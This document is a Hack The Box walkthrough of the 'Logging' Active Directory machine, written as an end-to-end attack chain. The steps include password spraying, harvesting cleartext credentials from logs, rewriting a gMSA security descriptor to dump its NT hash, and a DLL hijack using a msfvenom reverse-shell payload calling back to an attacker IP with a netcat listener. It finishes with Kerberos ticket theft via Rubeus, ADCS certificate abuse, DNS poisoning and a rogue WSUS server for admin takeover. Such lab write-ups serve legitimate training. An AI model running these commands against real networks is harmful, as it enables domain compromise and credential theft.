Logging is a medium-rated Windows Active Directory machine on Hack The Box that follows an assumed breach attack scenario. The box requires careful analysis of available logs to uncover useful credentials and operational details, followed by DLL hijacking to gain further access. The final stage involves abusing Microsoft WSUS to achieve full compromise.
The box follows an assumed breach methodology and we are provided with the credentials wallace.everette:Welcome2026@.
We start things off with a port detection nmap scan followed by service detection and default scripts scan on the detected ports.
sudo nmap -sVC --min-rate 500 $IP -p $(nmap --min-rate 1000 -p- $IP | grep -i "open\|filtered" | awk '{print $1}' | cut -d'/' -f1 | tr '\n' ',' )
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-22 14:32:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-24T16:40:59
|_Not valid after: 2106-04-24T16:40:59
|_ssl-date: 2026-07-22T14:34:17+00:00; +7h00m17s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-07-22T14:34:16+00:00; +7h00m16s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-24T16:40:59
|_Not valid after: 2106-04-24T16:40:59
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-07-22T14:34:14+00:00; +7h00m16s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-24T16:40:59
|_Not valid after: 2106-04-24T16:40:59
3269/tcp open ssl/ldap
|_ssl-date: 2026-07-22T14:34:14+00:00; +7h00m17s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-24T16:40:59
|_Not valid after: 2106-04-24T16:40:59
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8530/tcp open http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
8531/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
| tls-alpn:
|_ http/1.1
|_ssl-date: 2026-07-22T14:34:14+00:00; +7h00m17s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.logging.htb
| Not valid before: 2026-04-24T15:49:07
|_Not valid after: 2027-04-24T15:49:07
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
9389/tcp open mc-nmf .NET Message Framing
14180/tcp closed unknown
14312/tcp closed unknown
15891/tcp closed unknown
22084/tcp closed unknown
23338/tcp closed unknown
35183/tcp closed unknown
45576/tcp closed unknown
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49694/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49695/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49715/tcp open msrpc Microsoft Windows RPC
49763/tcp open msrpc Microsoft Windows RPC
49802/tcp open msrpc Microsoft Windows RPC
49808/tcp open msrpc Microsoft Windows RPC
56040/tcp open msrpc Microsoft Windows RPC
58189/tcp closed unknown
63072/tcp closed unknown
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m16s, deviation: 0s, median: 7h00m16s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-07-22T14:33:51
|_ start_date: N/A
The scan displays crucial information:
/etc/hosts for better name resolution,
echo "10.129.x.x logging logging.htb dc01.logging.htb" | sudo tee -a /etc/hosts
ntpdate.
sudo ntpdate dc01.logging.htb
netexec is a powerful tool for AD enumeration.
nxc ldap logging.htb -u wallace.everette -p 'Welcome2026@'
[+] Succeeds
nxc winrm logging.htb -u wallace.everette -p 'Welcome2026@'
[-] Fails
nxc smb logging.htb -u wallace.everette -p 'Welcome2026@'
[+] Succeeds
So, the user wallace.everrette has access to SMB and LDAP.
Using LDAP, we can enumerate users.
nxc ldap logging.htb -u wallace.everette -p 'Welcome2026@' --users-export users.lst
We can use this list to conduct a password spray attack, for that we create a file pass.lst with the current password and similar passwords.
cat > pass.lst << 'EOF'
Welcome2026@
Welcome2026
Welcome2025@
Welcome2024@
Welcome2023@
EOF
The password spray attack.
nxc ldap dc01.logging.htb -u users.lst -p pass.lst --continue-on-success -t 8 | grep '[+]'
This doesn't give us anything new though.
We move on to smb enumeration.
nxc smb dc01.logging.htb -u wallace.everette -p 'Welcome2026@' --shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote
Logs READ
NETLOGON READ Logon
SYSVOL READ Logon
WSUSTemp A network
Here we fin an unusual share WSUSTemp, searching for WSUS and its ports reveals that is uses port 8530 (HTTP) and port 8531 (HTTPS/SSL), which we had earlier found in the nmap scan. We also see a Logs share.
The user wallace.everette does not have enough permission to list content in WSUSTemp but can read the Logs.
smbclient //logging.htb/Logs -U wallace.everette --password 'Welcome2026@'
smb: \> ls
. D 0 Thu Apr 16 23:10:09 2026
.. D 0 Thu Apr 16 23:10:09 2026
Audit_Heartbeat.log A 1294 Thu Apr 16 23:10:09 2026
IdentitySync_Trace_20260219.log A 8488 Thu Apr 16 23:10:09 2026
Service_State.log A 468 Thu Apr 16 23:10:09 2026
TaskMonitor.log A 1170 Thu Apr 16 23:10:09 2026
Next, we download all the logs.
mkdir Logs && cd Logs
smbclient //logging.htb/Logs -U wallace.everette --password 'Welcome2026@' -c "recurse on;prompt off;mget *"
Viewing the logs one by one we find a failed logon attempt with creds for the user svc_recovery in cleartext in the file IdentitySync_Trace_20260219.log.
Trying this password using nxc ldap does not work. Investigating further about this newly discovered account we find out that this account is a part of PROTECTED USERS group. The accounts that are a part of this group require Kerberos pre-auth (encrypted time-stamp sent to DC to prove that the client actually knows the password).
bloodyAD -d logging.htb --host 10.129.x.x -u wallace.everette -p 'Welcome2026@' get object svc_recovery --attr memberOf
distinguishedName: CN=svc_recovery,CN=Users,DC=logging,DC=htb
memberOf: CN=Emergency Recovery,CN=Users,DC=logging,DC=htb; CN=Protected Users,CN=Users,DC=logging,DC=htb
For this, we can use impacket's getTGT.py. Once, again the password turns out to be wrong, trying to use 2026 instead of 2025 in the password succeeds.
getTGT.py logging.htb/svc_recovery:'Em3rg3ncyPa$$2026'
To be able to use Kerberos authentication, we export the ccache
export KRB5CCNAME=svc_recovery.ccache
On this machine, the bloodhound.py script does not work however, the bloodhound collector bundled within bloodyAD works.
bloodyAD -d logging.htb --host dc01.logging.htb --dc-ip 10.129.34.65 -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k get bloodhound
This gives us a zip file of the collected data. We can ingst this into the bloodhound-cli web UI.
Bloodhound-cli community edition can be downloaded from here. It requires docker and the file can be ingested after logging onto http://127.0.0.1:8080/ui (default).
Analyzing the data, the user
svc_recovery has GenericWrite on the computer MSA_HEALTH$ which is a member of Remote Management group. This computer account will give us our initial foothold on the box.
We can view more details related to this account using bloodyAD.
bloodyAD -d logging.htb --host dc01.logging.htb --dc-ip 10.129.x.x -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k get object 'MSA_HEALTH$' | grep -vi SecurityDescriptor
distinguishedName: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 1601-01-01 00:00:00+00:00
badPwdCount: 0
cn: msa_health
codePage: 0
countryCode: 0
dNSHostName: msa_health.logging.htb
dSCorePropagationData: 2026-04-16 23:36:35+00:00
instanceType: 4
isCriticalSystemObject: False
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 1601-01-01 00:00:00+00:00
localPolicyFlags: 0
logonCount: 0
memberOf: CN=Remote Management Users,CN=Builtin,DC=logging,DC=htb
msDS-ManagedPasswordId: AQAAAEtEU0sCAAAAbAEAAAIAAAABAAAABtA80N8pE5wgJbudpD4KkgAAAAAYAAAAGAAAAGwAbwBnAGcAaQBuAGcALgBoAHQAYgAAAGwAbwBnAGcAaQBuAGcALgBoAHQAYgAAAA==
msDS-ManagedPasswordInterval: 30
msDS-SupportedEncryptionTypes: 28
name: msa_health
objectCategory: CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=logging,DC=htb
objectClass: top; person; organizationalPerson; user; computer; msDS-GroupManagedServiceAccount
objectGUID: 22d835ba-1d5a-4a18-bd09-56225643b724
objectSid: S-1-5-21-4020823815-2796529489-1682170552-2113
primaryGroupID: 515
pwdLastSet: 2026-04-16 23:36:06.647754+00:00
sAMAccountName: msa_health$
sAMAccountType: 805306369
uSNChanged: 24616
uSNCreated: 24609
userAccountControl: WORKSTATION_TRUST_ACCOUNT
whenChanged: 2026-04-16 23:36:35+00:00
whenCreated: 2026-04-16 23:36:06+00:00
This tells us that the password is set by the KDC and rotated regularly every 30 days.
We are unable to read the msDS-ManagedPassword attribute but have GenericWrite over it which lets us write its msDS-GroupMSAMembershipattribute - the security descriptor which decides who can retrieve the managed password. We overwrite it with an SDDL (Security Descriptor Definition Language) string containing an allow-ACE for svc_recovery's SID.
We can obtain the object SID through BloodyAD.
bloodyAD -d logging.htb --host dc01.logging.htb --dc-ip 10.129.x.x -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k get object svc_recovery --attr objectSID
distinguishedName: CN=svc_recovery,CN=Users,DC=logging,DC=htb
objectSid: S-1-5-21-4020823815-2796529489-1682170552-2104
And finally, we set the security descriptor.
export SID="S-1-5-21-4020823815-2796529489-1682170552-2104"
bloodyAD -d logging.htb --host dc01.logging.htb --dc-ip 10.129.x.x -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k set object 'CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb' msDS-GroupMSAMembership -v "O:${SID}D:(A;;0xf01ff;;;${SID})"
[+] CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb's msDS-GroupMSAMembership has been updated
The securitry descriptor contains 2 parts:
O:${SID} D:(A;;0xf01ff;;;${SID})
└──owner────┘ └────────DACL──────────┘
The DACL can be constructed through microsoft's documentation or you can simply provide the necessary details to an LLM and get it. The DACL has these parts:
(ace_type ; ace_flags ; rights ; object_guid ; inherit_object_guid ; account_sid)
We can finally read the attribute now.
bloodyAD -d logging.htb --host dc01.logging.htb --dc-ip 10.129.x.x -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k get object 'CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb' --attr msDs-ManagedPassword
distinguishedName: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
msDS-ManagedPassword.NT: 946b33cc5505890cea9a4b5605b8cbd6
msDS-ManagedPassword.B64ENCODED: ToWejkhqeqlr592XZFJiywma3i8soUFD3iteOthcCSlHsMGebAsX+X51SbGJIKMgwiI/IK/EKMvoksip7g1j61wJGbnlKc4ICgUObogYVKKgejw9D1CyksBMh3dvPjxObcyBZSN4pHDRxkq3izw7BQpJcTYEdsnxHSNF6xAsEUvgG60YVHOgP9/HykJyLCpxHx8JmEi4Ye9m4QvkKKIi8GO6RnoIEHD2PYy7CQ3sjdJjBzkMYCCd66s7ycbzBi9Nal5bdfHvWmhK9udt8HVcIA0AAQnZByROHtHQ8pCmj0NwSe56iemaM88jhnGdb4gUVT1tFJAZHErUtrIiMn8Apg==
Using the recovered NT Hash we can logon using evil-winrm.
evil-winrm-py -i logging.htb -u 'MSA_HEALTH$' -H '946b33cc5505890cea9a4b5605b8cbd6'
As soon as we login, we come aross a powershell script.
evil-winrm-py PS C:\Users\msa_health$\Documents> ls
Directory: C:\Users\msa_health$\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/17/2026 9:02 AM 1059 monitor.ps1
We can download this script to our machine for further analysis.
evil-winrm-py PS C:\Users\msa_health$\Documents> download ./monitor.ps1 ./monitor.ps1
This script contains the code to check scheduled tasks through COM.
$svc = New-Object -ComObject "Schedule.Service"
$svc.Connect()
$task = $svc.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Actions | ForEach-Object { $_.Path; $_.Arguments; $_.WorkingDirectory }
evil-winrm-py PS C:\Users\msa_health$\Documents> echo $task.Xml
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2026-04-16T16:39:34.3280175</Date>
<Author>logging\Administrator</Author>
<URI>\UpdateChecker Agent</URI>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>S-1-5-21-4020823815-2796529489-1682170552-2105</UserId>
<LogonType>Password</LogonType>
</Principal>
</Principals>
<Settings>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
</Settings>
<Triggers>
<TimeTrigger>
<StartBoundary>2026-04-16T16:38:15</StartBoundary>
<Repetition>
<Interval>PT3M</Interval>
</Repetition>
</TimeTrigger>
</Triggers>
<Actions Context="Author">
<Exec>
<Command>"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"</Command>
<Arguments>500 /scan=3 /autofix=true</Arguments>
</Exec>
</Actions>
</Task>
Apparently, a program UpdateMonitor.exe runs every 3 minutes.
Searching for a path forward, we look in some well known directories and find UpdateMonitor program directory.
evil-winrm-py PS C:\Users\msa_health$\Documents> ls C:\"Program Files"
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/10/2020 11:34 AM Common Files
d----- 4/16/2026 8:19 AM internet explorer
d----- 4/16/2026 5:26 PM Update Services
d----- 4/16/2026 4:10 PM UpdateMonitor
d----- 4/16/2026 6:40 PM VMware
d-r--- 8/24/2021 7:47 AM Windows Defender
d----- 4/16/2026 8:19 AM Windows Defender Advanced Threat Protection
d----- 8/24/2021 7:47 AM Windows Mail
d----- 4/16/2026 8:19 AM Windows Media Player
d----- 4/16/2026 8:19 AM Windows Multimedia Platform
d----- 9/15/2018 12:28 AM windows nt
d----- 8/24/2021 7:47 AM Windows Photo Viewer
d----- 4/16/2026 8:19 AM Windows Portable Devices
d----- 9/15/2018 12:19 AM Windows Security
d----- 9/15/2018 12:19 AM WindowsPowerShell
evil-winrm-py PS C:\Users\msa_health$\Documents> ls C:\"Program Files"\UpdateMonitor
Directory: C:\Program Files\UpdateMonitor
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/16/2026 4:10 PM bin
d----- 4/16/2026 4:10 PM packages
-a---- 2/21/2026 3:52 PM 189 App.config
-a---- 2/21/2026 3:52 PM 157 packages.config
-a---- 4/24/2026 9:06 AM 8704 UpdateMonitor.exe
We download these files for analysis.
evil-winrm-py PS C:\Users\msa_health$\Documents> download "C:\Program Files\UpdateMonitor\App.config" ./App.config
evil-winrm-py PS C:\Users\msa_health$\Documents> download "C:\Program Files\UpdateMonitor\packages.config" ./packages.config
evil-winrm-py PS C:\Users\msa_health$\Documents> download "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" ./UpdateMonitor.exe
Reading App.config it is clear that it is a .NET program. packages.configtells us that the exe uses System.IO.Compression.ZipFile.
We use ilspycmd to reverse the UpdateMonitor.exe and obtain its source code.
ilspycmd UpdateMonitor.exe > decompiled
Reading this file reveals a DLL Hijacking vulnerability.
...
private static void Main(string[] args)
{
string text = "C:\\ProgramData\\UpdateMonitor\\Logs\\monitor.log";
string text2 = "C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip";
string text3 = "C:\\Program Files\\UpdateMonitor\\bin\\";
string text4 = "settings_update.dll";
string text5 = Path.Combine(text3, text4);
...
IntPtr intPtr = LoadLibrary(text5);
...
IntPtr procAddress = GetProcAddress(intPtr, "PreUpdateCheck");
if (procAddress != IntPtr.Zero)
{
Log(text, "Calling 'PreUpdateCheck' in " + text4);
((PreUpdateCheck)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(PreUpdateCheck)))();
}
else
{
Log(text, "'PreUpdateCheck' not found in " + text4 + ". Continuing...");
}
...
The program takes an attacker supplied zip, unpacks it over the existing DLL and executes the code from that DLL.
We can create a malicios DLL to obtain a reverse shell using msfvenom.
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER-IP> LPORT=443 -f dll -o settings_update.dll
Create the final malicious zip.
zip Settings_Update.zip settings_update.dll
Then we open a netcat listener.
rlwrap nc -lvnp 443
And upload the zip to C:\ProgramData\UpdateMonitor, grant everyone on file ACL and wait for the program to execute.
evil-winrm-py PS C:\Users\msa_health$\Documents> upload Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip
icacls "C:\ProgramData\UpdateMonitor\Settings_Update.zip" /grant "Everyone:(R)"
We soon get a shell as jaylee.clifton.
C:\Windows\system32>whoami
whoami
logging\jaylee.clifton
The user flag can be found on jaylee's desktop.
C:\Users\jaylee.clifton\Desktop>type user.txt
We can use the evil-winrm session to look for registry keys.
evil-winrm-py PS C:\Users\msa_health$\Documents> Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" |
Select WUServer, WUStatusServer, UseWUServer
WUServer WUStatusServer UseWUServer
-------- -------------- -----------
https://wsus.logging.htb:8531 https://wsus.logging.htb:8531
Turns out WSUS uses https over port 8531 on this machine.
Dump the DNS records to look for where exactly does wsus.logging.htb point. Turns out, there isn't any record for it.
bloodyAD -d logging.htb --host dc01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k get dnsDump --zone logging.htb | grep wsus
To check whether we can add a DNS record, we check the ntSecurityDescriptor attribute.
bloodyAD -d logging.htb --host dc01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k get object 'DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb' --attr nTSecurityDescriptor --resolve
...
nTSecurityDescriptor.ACL.1.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.1.Trustee: AUTHENTICATED_USERS
nTSecurityDescriptor.ACL.1.Right: CREATE_CHILD
...
Any authenticated user can create_child. This means that we can create a DNS record entry for wsus.logging.htb.
So, we go on to create record that points to our attack machinbe's ip as wsus.logging.htb.
bloodyAD -d logging.htb --host dc01.logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k add dnsRecord wsus $IP
We create a temporary shared directory C:\tmp and upload certife.exe to it through the evil-winrm session.
evil-winrm-py PS C:\Users\msa_health$\Documents> mkdir C:\tmp
evil-winrm-py PS C:\Users\msa_health$\Documents> upload ~/.local/share/Tools/Certify.exe .
evil-winrm-py PS C:\Users\msa_health$\Documents> cp Certify.exe C:\tmp
We can use certify as jaylee.clifton to enmerate the ADCS.
C:\Users>C:\tmp\Certify.exe find /all
Among the certificates, we find one interesting one.
CA Name : DC01.logging.htb\logging-DC01-CA
Template Name : UpdateSrv
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : NONE
Authorized Signatures Required : 0
pkiextendedkeyusage : Server Authentication
mspki-certificate-application-policy : Server Authentication
Permissions
Enrollment Permissions
Enrollment Rights : logging\Domain Admins S-1-5-21-4020823815-2796529489-1682170552-512
logging\Enterprise Admins S-1-5-21-4020823815-2796529489-1682170552-519
logging\IT S-1-5-21-4020823815-2796529489-1682170552-2102
Object Control Permissions
Owner : logging\Administrator S-1-5-21-4020823815-2796529489-1682170552-500
WriteOwner Principals : logging\Administrator S-1-5-21-4020823815-2796529489-1682170552-500
logging\Domain Admins S-1-5-21-4020823815-2796529489-1682170552-512
logging\Enterprise Admins S-1-5-21-4020823815-2796529489-1682170552-519
WriteDacl Principals : logging\Administrator S-1-5-21-4020823815-2796529489-1682170552-500
logging\Domain Admins S-1-5-21-4020823815-2796529489-1682170552-512
logging\Enterprise Admins S-1-5-21-4020823815-2796529489-1682170552-519
WriteProperty Principals : logging\Administrator S-1-5-21-4020823815-2796529489-1682170552-500
logging\Domain Admins S-1-5-21-4020823815-2796529489-1682170552-512
logging\Enterprise Admins S-1-5-21-4020823815-2796529489-1682170552-519
From bloodhound, we see that jaylee.clifton is a member of the IT group.
We can leverage this to get the CA to issue a new certificate for WSUS. First we upload Rubeus.
```powershell
evil-winrm-py PS C:\Users\msa_health$\Documents> upload ~/.local/share/Tools/Rubeus.exe .
evil-winrm-py PS C:\Users\msa_health$\Documents> cp Rubeus.exe C:\tmp
Then we obntain a kirbi ticket for jaylee.
C:\Users>C:\tmp\Rubeus.exe tgtdeleg /nowrap
C:\tmp\Rubeus.exe tgtdeleg /nowrap
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.logging.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: xWOaV3Z8aZnYhi920j/ebGPACQO5rUBIsMAaEcqxRpE=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFyDCCBcSgAwIBBaEDAgEWooIEyjCCBMZhggTCMIIEvqADAgEFoQ0bC0xPR0dJTkcuSFRCoiAwHqADAgECoRcwFRsGa3JidGd0GwtMT0dHS...
Extract the .kirbi from this base64 encoded ticket and convert it to TGT using Impackert's ticketConverter.py.
echo '<ENCODED STRING>' | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
To be able to create a fake WSUS server we need the CA signed certificate, for that we will use certipy (certify 2 can also be used directly without having to export the kirbi with Rubeus but is not accessible by everyone.)
Request the pfx for jaylee.clifton.
certipy req -target dc01.logging.htb -dc-host dc01.logging.htb -k -no-pass -ca logging-DC01-CA
Obtain the NT Hash for jaylee.
certipy auth -dc-ip 10.129.x.x -pfx jaylee.clifton.pfx
[*] Trying to retrieve NT hash for 'jaylee.clifton'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:1abff5519c569c11dc713706b4a15ae0
Now, we request the certificate for wsus.logging.htb.
certipy req -u '[email protected]' -hashes '1abff5519c569c11dc713706b4a15ae0' -ca logging-DC01-CA -template Up
dateSrv -dns wsus.logging.htb -dc-ip 10.129.x.x
And create the .pem required by WSUKS.
certipy cert -pfx wsus.pfx -nokey -out wsus.crt
certipy cert -pfx wsus.pfx -nocert -out wsus.key
cat wsus.crt wsus.key > wsus.pem
We setup a WSUKS for performing the exploit.
sudo wsuks -t 10.129.x.x --WSUS-Server wsus.logging.htb --tls-cert wsus.pem -I tun0 --serve-only
In a couple of minutes we recieve a hit and can logon to the machine as admin using evil-winrm-py.
evil-winrm-py -i logging.htb -u 'hacker' -p 'Passw0rd123!'
The root flag can be found on the Desktop of toby.brynleigh.
evil-winrm-py PS C:\Users\hacker\Documents> type C:\Users\toby.brynleigh\Desktop\root.txt
This concludes the Logging machine.